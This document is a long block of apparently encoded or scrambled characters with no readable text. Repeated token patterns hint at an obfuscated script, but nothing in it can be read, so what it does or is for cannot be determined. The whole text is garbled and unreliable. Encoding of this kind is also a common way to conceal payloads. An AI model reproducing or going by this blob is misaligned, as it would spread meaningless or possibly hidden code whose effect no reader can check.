OHK_HMB[HXNND@UGH@\HB@EA_KJ\D EK^NHCBNJO_ [_X_O@AC&EJOHK_HMB[HXJM@_IPPOHK_HMB[HX[_X_O@ACrW&^EVOZFVCD]BHTsTNND@UGH@\HB@EA_KJ\D  [_X_O@AC&&EA_KJ\DE[sZ]V\MU]NVKEA_KJ\D [_X_O@AC&OCBXEBYI&Q&JZMEB@U_FEK^NHCBNJO_EA_KJ\D [_X_O@AC OHK_HMB[HX[_X_O@AC&&&EJE[sZ]V\MU]NVKNND@UGH@\HB@ JZMEB@U_FW&^EVOZFVCD]BHTsTE[sZ]V\MU]NVKEA_KJ\D  [_X_O@AC&EA_KJ\DNND@UGH@\HB@EA_KJ\D [_X_O@AC&OCBXEBYI&Q&IEKE]_]E[sZ]V\MU]NVKG^AU[TIUAs^CFTE[sZ]V\MU]NVKJZMEB@U_FEK^NHCBNJO_&UJGAOIUEVH[OEK^NHCBNJO_EA_KJ\D IEKE]_] OHK_HMB[HX&EJUJGAOIUEVH[OJM@_IN^IMG&&^EVOZFVCD]BHTsTVUAG_IICHXEA_KJ\D  ^HM@OCJ&JZJ\HMHZAIEK^NHCBNJO_EA_KJ\D ^HM@OCJ UJGAOIUEVH[ONND@UGH@\HB@IEKE]_]^HM@OCJ&EJZ@_JDHsFV]BY@@W&\FJCOCFJYEK^NHCBNJO_Z@_JDHsFV] JZJ\HMHZAI&EJVUAG_IICHX\FJCOCFJY^EVOZFVCD]BHTsT\FJCOCFJY&&&QI@_IW&^EVOZFVCD]BHTsTJZJ\HMHZAIMGU_[J@Vs\]|d|samfc~szi~ecbMA]KOTDMGU_[J@Vs\]&&Q&EA_KJ\DEK^NHCBNJO_EA_KJ\D UJGAOIUEVH[OEK^NHCBNJO_IEKE]_]&&&Q&&^IXY^B^EVOZFVCD]BHTsTEA_KJ\D&&&Q&JYBOXECBK]_AEF@OH_YEFXZX\D@H_N&W&&&^IXY^B&&&Q&JYBOXECBBZHGAYVXO\HXZX\D@H_N&W&&EJVUAG_IICHXXZX\D@H_N^IXY^B&&&EJHIJEBIHNND@UGH@\HB@^IXY^BXZX\D@H_N&GU@BHFFUC_I\\NII@T^YDmn|mxdVUAG_IICHX &EJNND@UGH@\HB@NND@UGH@\HB@GU@BHFFUVUAG_IICHX XZX\D@H_N^IXY^B&^IXY^BXZX\D@H_N&Q&JYBOXECBZsF\^F\U]HEEA_KJ\D&W&EJE[sZ]V\MU]NVKEA_KJ\DPPEA_KJ\D^IXY^BEA_KJ\D&AFA^I_EGNKYZEHY^[VIBXTTGTTEA_KJ\D NND@UGH@\HB@ VUAG_IICHX&AFA^I_EGNKYZEHY^[VIBXTTGTTAFA^I_EGNKYZ VUAG_IICHX E[sZ]V\MU]NVK&EJNND@UGH@\HB@AFA^I_EGNKYZAFA^I_EGNKYZNND@UGH@\HB@NND@UGH@\HB@  AFA^I_EGNKYZ&&&&EJEK^NHCBNJO_AFA^I_EGNKYZAFA^I_EGNKYZEA_KJ\DKZIKKIKMUVD|d|sebxsamt|d|sebxsamtNJ__]VYBYsKZIKKIKMUVD&EJ[N^A@[FOH^]ZTAFA^I_EGNKYZW&&AFA^I_EGNKYZEHY^[VIBXTTGTTAFA^I_EGNKYZ VUAG_IICHX NND@UGH@\HB@&&&AFA^I_EGNKYZEHY^[VIBXTTGTTAFA^I_EGNKYZ EK^NHCBNJO_ EK^NHCBNJO_&EJEK^NHCBNJO_AFA^I_EGNKYZAFA^I_EGNKYZNND@UGH@\HB@VUAG_IICHX  AFA^I_EGNKYZ&Q&&^IXY^BNND@UGH@\HB@AFA^I_EGNKYZAFA^I_EGNKYZEA_KJ\D&&Q&JYBOXECBVNYYT@@EA_KJ\D&W&EJE[sZ]V\MU]NVKEA_KJ\DPPHIJEBIHNND@UGH@\HB@^IXY^BJM@_I&EJE[sZ]V\MU]NVKEK^NHCBNJO_ EA_KJ\D^IXY^BX^YI&&&&]U[@T_Y[BHATGC_I\\NII@T^YDmn|mxdNND@UGH@\HB@ TT&EJNND@UGH@\HB@VUAG_IICHX EA_KJ\D NC]GMVW&JC^IMODNC]GMVwqM_@M[KBC\UW&EJE[sZ]V\MU]NVK@M[KBC\U ]U[@T_Y[BHATG^IXY^BX^YI&Q&&&Q&sHHVUAG_IICHXEK^NHCBNJO_mn|mxdVUAG_IICHX  &EJNND@UGH@\HB@VUAG_IICHX EA_KJ\D sHAW&{|\MOI^n@COGOY_XCAEVI^X^MB_\C^X&&JC^IMODsHAwqM_GTIA\XYHUAW&EJGTIA\XYHUAsHH^IXY^BX^YI&Q&Q&^IXY^BJM@_I&&&Q&JYBOXECBDTHs[[[OFFNUNYA_]&&W&EJE__IXskixwVUAG_IICHXqPPEK^NHCBNJO_skixwEK^NHCBNJO_qPPEK^NHCBNJO_E[sZ]V\MU]NVK^IXY^B&Is@JKZXMsYlKIXsC\XECBE[sZ]V\MU]NVK M^^MU&EJE[sZ]V\MU]NVKIs@JKZXMsY^IXY^B&@\FMC@_X^EBKskixwE[sZ]V\MU]NVKq&^JXZGHU_DTM^^MU&EJE__IXIs@JKZXMsYwXq^JXZGHU_DTwq_X^EBKIs@JKZXMsYwXq&EJE__IXIs@JKZXMsYwE[sZ]V\MU]NVKq

NND@UGH@\HB@Is@JKZXMsYwVUAG_IICHXqW&JC^IMODIs@JKZXMsYwVUAG_IICHXqM_DXK@YUF]JOW&&&EJNND@UGH@\HB@DXK@YUF]JO

E__IXDXK@YUF]JOwXq^JXZGHU_DTwq_X^EBKDXK@YUF]JOwXq&Q&Q&ZY@GEJVX]KVZMJM@_I&JC^IMOD^JXZGHU_DTM_O^DTBAXXJW]EKITB_|d|samfc~szi~ecbZ[DMNKX]]EKITB_&EJO^DTBAXXJOCBXEBYI&ZY@GEJVX]KVZMNND@UGH@\HB@NND@UGH@\HB@DM_DsI]YM@_O^DTBAXXJ @\FMC@O^DTBAXXJ@\FMC@&EJZY@GEJVX]KVZMN^IMG&Q&lHI\^CZE_ECB_ODIHY@I^&&EJZY@GEJVX]KVZM^IXY^B&&&&EJVUAG_IICHXVUAG_IICHXW&&&&VUAG_IICHXJYBOXECBY_I@\FMC@W&IODCpBog@\FMC@EK^NHCBNJO_&Q&&Q&Q&JYBOXECBZMDJJO@BsHYC@@__&W&EJVUAG_IICHXVUAG_IICHX^IXY^BJM@_I&&&ZF_ABJ\lKIXsC\XECBVUAG_IICHX &&&&EJNND@UGH@\HB@ZF_ABJ\PPEK^NHCBNJO_ZF_ABJ\ EK^NHCBNJO_^IXY^BJM@_I&_CBE]UsI_AFZEBXE[sZ]V\MU]NVKZF_ABJ\ r&EJ_CBE]UsI_AFZ

E[sZ]V\MU]NVK_CBE]UsI_AFZ^IXY^BJM@_I&^IXY^BX^YI&Q&JYBOXECBBOsCYCXMMVEB@TGFOI YV_YIC_DNEMG&W&aIAOMODIHMHM\XI^YB@CMH[MXI^AM^G&&EJVUAG_IICHXE[sZ]V\MU]NVKPPNND@UGH@\HB@E[sZ]V\MU]NVK^IXY^BJM@_I&&EJZMDJJO@BsHYC@@__^IXY^BX^YI&Is@JKZXMsYlKIXsC\XECBVUAG_IICHX M^^MU&EJE[sZ]V\MU]NVKIs@JKZXMsYIs@JKZXMsYM^^MU&EJE__IXIs@JKZXMsYwNND@UGH@\HB@qPPNND@UGH@\HB@Is@JKZXMsYwVUAG_IICHXqW&&&&[FBHC_\^\M^^MU&&&EJE__IXIs@JKZXMsYwXq Is@JKZXMsYw\q Is@JKZXMsYwNqW&\^CZE_ECB_X^CBKBCAEBM@XU\I&&[FBHC_\^\wEK^NHCBNJO__X^EBKIs@JKZXMsYw\qqM^^MUX_X^EBKIs@JKZXMsYwXq \_X^EBKIs@JKZXMsYw\q N_X^EBKIs@JKZXMsYwNq NND@UGH@\HB@E__IXIs@JKZXMsYwE[sZ]V\MU]NVKqEBXIs@JKZXMsYwNND@UGH@\HB@qEK^NHCBNJO_ NND@UGH@\HB@ B&Q&Is@JKZXMsYM^^MUEK^NHCBNJO_[FBHC_\^\&Q&JZMEB@U_FNND@UGH@\HB@B@TGFOI&&EJE__IXIs@JKZXMsYwVUAG_IICHXqwJZMEB@U_FqW&Is@JKZXMsYwVUAG_IICHXqwJZMEB@U_FqwEK^NHCBNJO_qNND@UGH@\HB@&&&&Is@JKZXMsYwNND@UGH@\HB@qwJZMEB@U_FqwE[sZ]V\MU]NVKq&&&Is@JKZXMsYwEK^NHCBNJO_qwJZMEB@U_FqwBqYV_YIC_DNEMG&EJ_N]JNVYOBBZ_TFET\Is@JKZXMsYwVUAG_IICHXqwJZMEB@U_FqwNq YV_YIC_DNEMGW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK EK^NHCBNJO_&^IXY^BJM@_I&Q&&QI@_IW&^\G@GYO_[AXXJCU]ZNBNKE&G_UDJ\VVV@GHF^\G@GYO_NND@UGH@\HB@C_I\\NII@T^YDB@TGFOI EK^NHCBNJO_&EJ_N]JNVYOBBZ_TFET\G_UDJ\VVV@GHF YV_YIC_DNEMGW&CGTNsH^OGY_HMU@YNND@UGH@\HB@ VUAG_IICHX&&&&^IXY^BJM@_I&&&&Q&Is@JKZXMsYwEK^NHCBNJO_qwJZMEB@U_FqM^^MUXITTODK]BBTKr \B@TGFOI NG_UDJ\VVV@GHF EK^NHCBNJO_E[sZ]V\MU]NVK VUAG_IICHX BYV_YIC_DNEMG&&Q&[DE@IEK^NHCBNJO_Is@JKZXMsYwE[sZ]V\MU]NVKqW&JU[I]]^M_J]TBY@@&&&&DFV_NVOIY^CBY@@&&&JC^IMODIs@JKZXMsYwEK^NHCBNJO_qM_]XMTN]BBYB]AUFI@C]W&&&EJDFV_NVOIY^CBY@@PPEBXAUFI@C]wVUAG_IICHXqDFV_NVOIY^CWVO]BVGJNTIHTC]CHssBDZVO]BVGJN	&&&&DFV_NVOIY^CEBXAUFI@C]wNND@UGH@\HB@q&JU[I]]^M_J]T]XMTN]BBYB]&&Q&Q&EJJU[I]]^M_J]TBY@@N^IMG&EU@^_Y^]OZUI]BIs@JKZXMsYwE[sZ]V\MU]NVKqwJU[I]]^M_J]TqwNq&YB_IXIs@JKZXMsYwNND@UGH@\HB@qwJU[I]]^M_J]Tq&Q&&lY\HMXIsC\XECBVUAG_IICHX Is@JKZXMsY EK^NHCBNJO_&E[sZ]V\MU]NVKVUAG_IICHX&^IXY^BX^YI&Q&&&JYBOXECBEHDDB_UY\OGOA@FAFO\HKJ&W&&&&EHXF^Z@[FXBVUlVUAG_IICHXFAFO\HKJ M^^MUEK^NHCBNJO_ VUAG_IICHXJM@_I EK^NHCBNJO_X^YI EK^NHCBNJO_ EK^NHCBNJO_M^^MUVUAG_IICHXVUAG_IICHX E[sZ]V\MU]NVKVUAG_IICHX&EJVUAG_IICHXVUAG_IICHX

E_s[\sI^^C^EHXF^Z@[FXBVU^IXY^BM^^MU JM@_I&XNAXUCY@O\VUAG_IICHXNND@UGH@\HB@EBX[\s^IACXIs^IX^EIZIs^I_\CB_IsOCHIEHXF^Z@[FXBVU&^IXY^BM^^MUXNAXUCY@O\ XNAXUCY@O\

NND@UGH@\HB@VUAG_IICHX_X^EBK[\s^IACXIs^IX^EIZIsNCHUEHXF^Z@[FXBVU&Q&JYBOXECBZJHOAMOHI\BsAZXDXK@YUF]JO&W&C@M[I[HOlE[sZ]V\MU]NVKDXK@YUF]JOwNqJT^YDM]\HIOF\D\HJT^YD&&EJE[sZ]V\MU]NVKC@M[I[HO^IXY^BJM@_I&EJC@M[I[HOW&EJIA\XUDXK@YUF]JOwBq^IXY^BJM@_I&EOKG]AGEI]DlEK^NHCBNJO_DXK@YUF]JOw\q&EJEOKG]AGEI]DWAGJVJN\|d|sebxsamt|d|sebxsamtN^sNZFBTAGJVJN\&]]XI^s@\F[YJ_V_ZEOIDXK@YUF]JOw\q &EOKG]AGEI]DEU@^_Y^]OZUI]BDXK@YUF]JOw\q&Q&EJVUAG_IICHXE[sZ]V\MU]NVKlC\OMODIsEBZM@EHMXIDXK@YUF]JOw\q X^YI&^IXY^BEOKG]AGEI]DHO\_]ZDF|d|samfc~szi~ecb^JFBI_HO\_]ZDF&Q&EJ_N]JNVYOBBZ_TFET\DXK@YUF]JOw\q C@M[I[HO^IXY^BJM@_I&&EJNND@UGH@\HB@E[sZ]V\MU]NVKlC\OMODIsEBZM@EHMXIDXK@YUF]JOw\q X^YI&&&^IXY^BX^YI&Q&&&JYBOXECBBYUOGCMsCHUNB&W&EJNND@UGH@\HB@VUAG_IICHX^IXY^B&Is@JKZXMsYlKIXsC\XECBVUAG_IICHX M^^MU&&&EJE[sZ]V\MU]NVKIs@JKZXMsY^IXY^B&EJE__IXIs@JKZXMsYwE[sZ]V\MU]NVKqPPEK^NHCBNJO_Is@JKZXMsYwVUAG_IICHXqW&[FBHC_\^\M^^MU&EJE__IXIs@JKZXMsYwXq Is@JKZXMsYw\q Is@JKZXMsYwNqW&&&&[FBHC_\^\wNND@UGH@\HB@_X^EBKIs@JKZXMsYw\qqM^^MUX_X^EBKIs@JKZXMsYwXq \_X^EBKIs@JKZXMsYw\q N_X^EBKIs@JKZXMsYwNq NND@UGH@\HB@E__IXIs@JKZXMsYwNND@UGH@\HB@qEBXIs@JKZXMsYwNND@UGH@\HB@qVUAG_IICHX VUAG_IICHX&Q&Is@JKZXMsYM^^MUNND@UGH@\HB@[FBHC_\^\\JGHZAKOKVN_\JGHZA&Q&EJIA\XUIs@JKZXMsYwVUAG_IICHXqW&lHI@IXIsC\XECBNND@UGH@\HB@&^IXY^BM_sYX[_T@_FT[_T[M_sYX[_	&Q&_XMXEOBXYGUTJM@_I&&EJBXYGUT^IXY^B&&BXYGUTX^YI&EJE[sZ]V\MU]NVKEK^NHCBNJO_lE[sZ]V\MU]NVK&I@_IEJEK^NHCBNJO_VUAG_IICHXlE[sZ]V\MU]NVK&EJVUAG_IICHXVUAG_IICHXlEK^NHCBNJO_X^YI&EJE[sZ]V\MU]NVKE[sZ]V\MU]NVKPPVUAG_IICHXNND@UGH@\HB@^IXY^B&CEC]GABGG^XDCAIsY^@&&[sEVT_KE[sZ]V\MU]NVKVUAG_IICHX[\s@CKEBsY^@CEC]GABGG^XEK^NHCBNJO_&KNT^I]Z^OUJM@_I&U]CHsX[AX^YI&FIXB@s]]G&JC^IMODIs@JKZXMsYwE[sZ]V\MU]NVKqM_JZMEB@U_FDXK@YUF]JOW&EJNND@UGH@\HB@DXK@YUF]JOPPIA\XUDXK@YUF]JOwXqPPIA\XUDXK@YUF]JOw\qPPIA\XUDXK@YUF]JOwNqW&YB_IXIs@JKZXMsYwEK^NHCBNJO_qwJZMEB@U_Fq&KNT^I]Z^OUX^YI&OCBXEBYI&Q&EJE[sZ]V\MU]NVKEBXDXK@YUF]JOwNND@UGH@\HB@qPPEBXDXK@YUF]JOwVUAG_IICHXqW&&&CGTNsH^OGY_HMU@YVUAG_IICHX EK^NHCBNJO_NND@UGH@\HB@DXK@YUF]JOw\q&EU@^_Y^]OZUI]BDXK@YUF]JOwNq&YB_IXIs@JKZXMsYwNND@UGH@\HB@qwJZMEB@U_Fq&KNT^I]Z^OUX^YI&OCBXEBYI&Q&EJFIXB@s]]GN^IMG&FIXB@s]]G&NFTMJsE^MMJNND@UGH@\HB@NND@UGH@\HB@DXK@YUF]JOwXqE[sZ]V\MU]NVKVUAG_IICHXTJJTMJ &@E_XXNAXUCY@O\ DBAUNXNs_TJ@_EHDDB_UY\OGOA@CEC]GABGG^XNFTMJsE^MMJ&EJXNAXUCY@O\U]CHsX[AJM@_I&EJXNAXUCY@O\

VUAG_IICHXNND@UGH@\HB@VUAG_IICHX&EJXNAXUCY@O\W&&&@E_XXNAXUCY@O\ DBAUNXNs_TJ@_EHDDB_UY\OGOA@CEC]GABGG^XNFTMJsE^MMJ&&&EJXNAXUCY@O\U]CHsX[AJM@_I&&&&Q&EJXNAXUCY@O\W&Is@JKZXMsYwVUAG_IICHXqwJZMEB@U_FqwNND@UGH@\HB@q&KNT^I]Z^OUX^YI&OCBXEBYI&&&&Q&EJXNAXUCY@O\W&EJZJHOAMOHI\BsAZXDXK@YUF]JOW&CGTNsH^OGY_HMU@YEK^NHCBNJO_ EK^NHCBNJO_E[sZ]V\MU]NVKDXK@YUF]JOw\q&EU@^_Y^]OZUI]BDXK@YUF]JOwNq&&&&YB_IXIs@JKZXMsYwNND@UGH@\HB@qwJZMEB@U_Fq&QI@_IW&&&Is@JKZXMsYwEK^NHCBNJO_qwJZMEB@U_FqwVUAG_IICHXq&Q&KNT^I]Z^OUX^YI&OCBXEBYI&Q&EJNND@UGH@\HB@DBAUNXNs_TJ@_ EK^NHCBNJO_DXK@YUF]JOwXqNND@UGH@\HB@JM@_IW&EU@^_Y^]OZUI]BDXK@YUF]JOwNq&YB_IXIs@JKZXMsYwVUAG_IICHXqwJZMEB@U_Fq&KNT^I]Z^OUX^YI&OCBXEBYI&&Q&@E_XsNZEV^ ]^sU[J_TI@EHDDB_UY\OGOA@[sEVT_KEK^NHCBNJO_[sEVT_K JM@_I
EK^NHCBNJO_NND@UGH@\HB@DXK@YUF]JOwXqEK^NHCBNJO_NND@UGH@\HB@ &EJsNZEV^U]CHsX[AJM@_I&&&EJsNZEV^W&EJZJHOAMOHI\BsAZXDXK@YUF]JOW&{|xMKo@CYH@MVU_EBK@IXCB&&&CGTNsH^OGY_HMU@YNND@UGH@\HB@ NND@UGH@\HB@NND@UGH@\HB@DXK@YUF]JOw\q&&&&EU@^_Y^]OZUI]BDXK@YUF]JOwNq&YB_IXIs@JKZXMsYwE[sZ]V\MU]NVKqwJZMEB@U_Fq&&QI@_IW&Is@JKZXMsYwNND@UGH@\HB@qwJZMEB@U_FqwE[sZ]V\MU]NVKq&Q&KNT^I]Z^OUX^YI&&OCBXEBYI&&&Q&EJEK^NHCBNJO_]^sU[J_TI@

NND@UGH@\HB@]^sU[J_TI@ NND@UGH@\HB@DXK@YUF]JOwXqVUAG_IICHXJM@_IW&EU@^_Y^]OZUI]BDXK@YUF]JOwNq&YB_IXIs@JKZXMsYwE[sZ]V\MU]NVKqwJZMEB@U_Fq&KNT^I]Z^OUX^YI&&&&OCBXEBYI&Q&Is@JKZXMsYwEK^NHCBNJO_qwJZMEB@U_FqwE[sZ]V\MU]NVKq&KNT^I]Z^OUX^YI&Q&EJU]CHsX[A

KNT^I]Z^OU

IA\XUIs@JKZXMsYwNND@UGH@\HB@qWC\J]EU[@OAD|d|samfc~szi~ecbGsBIUJsC\J]EU[@OAD&&&OMXGEC_JM@_I&JC^IMODIs@JKZXMsYwE[sZ]V\MU]NVKqM_FD^D\\M]W&MOOYAY@MXI@IMGUNYOGIXJC^{|n@COGzM^EMXECB_&&EJEBXFD^D\\M]wEK^NHCBNJO_qW&OMXGEC_X^YIC@EG^G@GB[^OIsVNC@EG^G@GB[	&N^IMG&Q&Q&&&EJOMXGEC_W&lY\HMXIsC\XECBEK^NHCBNJO_ EK^NHCBNJO_EK^NHCBNJO_ VUAG_IICHX&&&CGTNsH^OGY_HMU@YVUAG_IICHX E[sZ]V\MU]NVK&JC^IMODIs@JKZXMsYwNND@UGH@\HB@qM_]XMTN]BBYB]FD^D\\M]W&EU@^_Y^]OZUI]BFD^D\\M]wNq&YB_IXIs@JKZXMsYwVUAG_IICHXqw]XMTN]BBYB]q&&&Q&&&&Q&&QI@_IEJU]CHsX[AW&{|}YI^U`CC\_^O_IXHI_O^E\XC^&&\\JJOU_CV[lKIXsC\XECBNND@UGH@\HB@ &EJEK^NHCBNJO_\\JJOU_CV[PPEK^NHCBNJO_\\JJOU_CV[ EK^NHCBNJO_lY\HMXIsC\XECBNND@UGH@\HB@ NND@UGH@\HB@EK^NHCBNJO_ VUAG_IICHX&Q&EJIA\XUIs@JKZXMsYwEK^NHCBNJO_qlHI@IXIsC\XECBE[sZ]V\MU]NVK&I@_IEJKNT^I]Z^OUlY\HMXIsC\XECBVUAG_IICHX Is@JKZXMsY NND@UGH@\HB@&Q&JYBOXECBJEMMG_BBH]ZTXXZG_EA_KJ\D&&W&^IXY^BE[sZ]V\MU]NVKEA_KJ\D

NND@UGH@\HB@EA_KJ\D VUAG_IICHXJM@_IPPNND@UGH@\HB@EA_KJ\D E[sZ]V\MU]NVKJM@_IPPVUAG_IICHXEA_KJ\D E[sZ]V\MU]NVKJM@_IPPNND@UGH@\HB@EA_KJ\D EK^NHCBNJO_JM@_IPPE[sZ]V\MU]NVKEA_KJ\D E[sZ]V\MU]NVKJM@_IPPNND@UGH@\HB@EA_KJ\D NND@UGH@\HB@JM@_I&Q&JYBOXECBIZ[AHsMAOBNEsUVIHUAEA_KJ\D&W&EJJEMMG_BBH]ZTXXZG_EA_KJ\D^IXY^BJM@_I&EJ[N^A@[FOH^]ZTEA_KJ\D^IXY^BX^YI&EJE[sZ]V\MU]NVKE[sZ]V\MU]NVK EA_KJ\D ZF_ABJ\W&&&&JC^IMODZF_ABJ\wqM_AUFI@C]W&EJZI^_ECBsOCA\M^IAUFI@C] [KNGMVXV[KCMBM[JX ^IXY^BX^YI&Q&^IXY^BJM@_I&Q&^IXY^BX^YI&Q&JYBOXECB\@sBBB_[BAV_YXJ@NJMVABE^C&W&EJlNND@UGH@\HB@J@NJMVABE^CPPlVUAG_IICHXJ@NJMVABE^C^IXY^B&DDA@@AUKXXIClEK^NHCBNJO_J@NJMVABE^C&&EJDDA@@AUKXXIC^IXY^B&EJDDA@@AUKXXICW&_[@FFCOEDTDZlEK^NHCBNJO_J@NJMVABE^C JM@_I BY@@  &EJJEMMG_BBH]ZTXXZG__[@FFCOEDTDZ^IXY^B&EJY_KT]GKMOIK^\UFKEK@J@NJMVABE^CJM@_IW&CGTNsH^OGY_HMU@YVUAG_IICHX E[sZ]V\MU]NVKEK^NHCBNJO_J@NJMVABE^C&^IXY^B&Q&lE[sZ]V\MU]NVKJ@NJMVABE^C \D\pB&EJNND@UGH@\HB@E[sZ]V\MU]NVKlC\OMODIsEBZM@EHMXIJ@NJMVABE^C X^YI&^IXY^B&Q&EJDDA@@AUKXXICW&_OM]J_X^EBKlE[sZ]V\MU]NVKJ@NJMVABE^C JM@_I BY@@  THTO&A]@XDXCDDA@@AUKXXIC_X^EBKlVUAG_IICHXJ@NJMVABE^C JM@_I BY@@ DDA@@AUKXXIC&HYGYVBMOFMJ[__OM]JA]@XDXC&EJHYGYVBMOFMJ[_

NND@UGH@\HB@VUAG_IICHX HYGYVBMOFMJ[_ AUV]\XT[OXTW&U\Y\IAD@EZJM@_I&JC^IMODAUV]\XT[OXTwqM_G[HOUHW&EJZI^_ECBsOCA\M^IG[HOUH [KNGMVXV[KCMBM[JX W&U\Y\IAD@EZX^YI&N^IMG&Q&Q&EJU\Y\IAD@EZ^IXY^B&Q&Q&EA_KJ\DlNND@UGH@\HB@J@NJMVABE^C&&&EJE[sZ]V\MU]NVKEA_KJ\D

VUAG_IICHXEA_KJ\DEA_KJ\DF[sE_EYEDFGFIEA_KJ\D&EJE[sZ]V\MU]NVKEA_KJ\D^IXY^B&EJIZ[AHsMAOBNEsUVIHUAEA_KJ\D^IXY^B&ZIIsGEIECZOGJ@NJMVABE^C EA_KJ\D&Q&JYBOXECBZIIsGEIECZOGJ@NJMVABE^C EA_KJ\D&W&&&AFA^I_EGNKYZNND@UGH@\HB@NND@UGH@\HB@  EA_KJ\D&EJE[sZ]V\MU]NVKAFA^I_EGNKYZPPVUAG_IICHXAFA^I_EGNKYZPPE[sZ]V\MU]NVKAFA^I_EGNKYZNND@UGH@\HB@AFA^I_EGNKYZ\D\pB&EJVUAG_IICHXAFA^I_EGNKYZ

ZVHB^HE]OsNOVNYAFA^I_EGNKYZAFA^I_EGNKYZ\D\pB\G[I\[OU|d|sebxsamt|d|sebxsamt\^AVI[^M\G[I\[OU&sHAMTJTM_^NNlJE@I\I^A_J@NJMVABE^C&&&sHAMTJTM_^NNsHAMTJTM_^NNJM@_IsHAMTJTM_^NN
&_KUFO]_ClEK^NHCBNJO_J@NJMVABE^C&@[[C\sDM^lEK^NHCBNJO_NND@UGH@\HB@J@NJMVABE^C VUAG_IICHX&EJ@[[C\sDM^JM@_I^IXY^B&EJlVUAG_IICHX@[[C\sDM^ AFA^I_EGNKYZEK^NHCBNJO_AFA^I_EGNKYZW&lNND@UGH@\HB@@[[C\sDM^&^IXY^B&Q&lNND@UGH@\HB@@[[C\sDM^ sHAMTJTM_^NN&EJlNND@UGH@\HB@@[[C\sDM^ J@NJMVABE^CW&lEK^NHCBNJO_@[[C\sDM^&^IXY^B&Q&EJ_KUFO]_ClEK^NHCBNJO_J@NJMVABE^C _KUFO]_C&EJNND@UGH@\HB@E[sZ]V\MU]NVKlC\OMODIsEBZM@EHMXIJ@NJMVABE^C X^YI&Q&&&JYBOXECBEY]GF]U[]_FVXZX\D@H_N&W&&&EJE[sZ]V\MU]NVKXZX\D@H_N^IXY^B&EJE[sZ]V\MU]NVKNND@UGH@\HB@ XZX\D@H_N NKsZs^FXsCW&E_K^]NNT\NKsZs^FXsCwq&&&&&DDA@@AUKXXIClNND@UGH@\HB@E_K^]NNT\lEK^NHCBNJO_E_K^]NNT\&EJDDA@@AUKXXICPPDDA@@AUKXXICTHTHPPDDA@@AUKXXICW&]YMBXEJUCZI^DIMH&&EJDDA@@AUKXXICW&&&K^TJUFMMBZFlE[sZ]V\MU]NVKE_K^]NNT\&EJEK^NHCBNJO_K^TJUFMMBZFK^TJUFMMBZFE_K^]NNT\&K^TJUFMMBZFNND@UGH@\HB@pp  K^TJUFMMBZF&@OVJD[\TYGJM@_I&JHI\C[s@YEHNM^^MUHIJEBIHNND@UGH@\HB@VUAG_IICHXmn|mxd VUAG_IICHX HIJEBIHVUAG_IICHXVUAG_IICHX{|socbxibxshe~ EK^NHCBNJO_&&&&JC^IMODJHI\C[s@YEHNM_UVM[KBIZB^HZHW&UVM[KBIZB^HZHEK^NHCBNJO_pp  UVM[KBIZB^HZH&EJUVM[KBIZB^HZH

VUAG_IICHXK^TJUFMMBZF UVM[KBIZB^HZHW&@OVJD[\TYGX^YI&N^IMG&Q&&&&Q&EJ@OVJD[\TYG

Y_KT]GKMOIK^\UFKEK@E_K^]NNT\JM@_IW&lVUAG_IICHXE_K^]NNT\&lEK^NHCBNJO_EK^NHCBNJO_E_K^]NNT\VUAG_IICHXEK^NHCBNJO_E_K^]NNT\ VUAG_IICHX&QI@_IW&CGTNsH^OGY_HMU@YVUAG_IICHX EK^NHCBNJO_NND@UGH@\HB@E_K^]NNT\&Q&Q&&&^IXY^B&&&&Q&Q&_I^EM@EVIBC^AM@XYAN@EBK[EBHC[&&^IXY^BXZX\D@H_N&Q&&&JYBOXECBB[OJZUYN&W&&_XMXEOE_K^]NNT\BY@@&EJE_K^]NNT\BY@@W&\FJCOCFJYDHZU\GX[MZGHZ&E_K^]NNT\VUAG_IICHX\FJCOCFJY

E__IX\FJCOCFJYwE[sZ]V\MU]NVKq

VUAG_IICHX_X^EBK\FJCOCFJYwVUAG_IICHXq EK^NHCBNJO_&Q&^IXY^BE_K^]NNT\&Q&&&&JYBOXECBVOTMKDUZCE@I&W&EJHIJEBIHEK^NHCBNJO_^IXY^B&&HI]ACMJAAN\mn|mxdEK^NHCBNJO_&EJlE[sZ]V\MU]NVKHI]ACMJAAN\W&EO]UOTBKMUG[^[EK^NHCBNJO_mn|mxdEK^NHCBNJO_&EJlE[sZ]V\MU]NVKEO]UOTBKMUG[^[HI]ACMJAAN\EO]UOTBKMUG[^[&&&Q&EJlNND@UGH@\HB@HI]ACMJAAN\PPlNND@UGH@\HB@HI]ACMJAAN\^IXY^B&K^TJUFMMBZFlVUAG_IICHXHI]ACMJAAN\&&&&EJE[sZ]V\MU]NVKK^TJUFMMBZF

K^TJUFMMBZF

lVUAG_IICHXK^TJUFMMBZFHI]ACMJAAN\K^TJUFMMBZF&EJlE[sZ]V\MU]NVKHI]ACMJAAN\TTHMM^IXY^B&EA_KJ\DlEK^NHCBNJO_HI]ACMJAAN\&EJE[sZ]V\MU]NVKEA_KJ\DPPEA_KJ\D^IXY^B&^VUU_FGJVEOE[sZ]V\MU]NVKEA_KJ\D NND@UGH@\HB@JM@_IPPE[sZ]V\MU]NVKEA_KJ\D VUAG_IICHXJM@_I&FsINGVTZZK[]JM@_I&EJVUAG_IICHXEA_KJ\D E[sZ]V\MU]NVKJM@_IW&_X^IMAEBKM^NEX^MXC^&&EJIA\XUk`cnm`wEK^NHCBNJO_qW&FsINGVTZZK[]X^YI&QI@_IW&&&DYAKA@XO[DANND@UGH@\HB@EK^NHCBNJO_VUAG_IICHXE[sZ]V\MU]NVK&&&&EJlE[sZ]V\MU]NVKDYAKA@XO[DAPPlNND@UGH@\HB@DYAKA@XO[DAFsINGVTZZK[]X^YI&&Q&Q&&&&DODY\UEGDssJM@_I&&M^DJOBOGJM@_I&EJEK^NHCBNJO_EK^NHCBNJO_ EA_KJ\D

HIJEBIHE[sZ]V\MU]NVKW&sMO{|socbxibxshe~E[sZ]V\MU]NVK&&&&EJlE[sZ]V\MU]NVKsMOW&CYAV@ECs_X^EBKlE[sZ]V\MU]NVKsMO JM@_I BY@@  TMNMT&&&EJE[sZ]V\MU]NVKCYAV@ECs NND@UGH@\HB@JM@_IDODY\UEGDssX^YI&Q&QI@_IEJ&EK^NHCBNJO_EA_KJ\D NND@UGH@\HB@JM@_I&

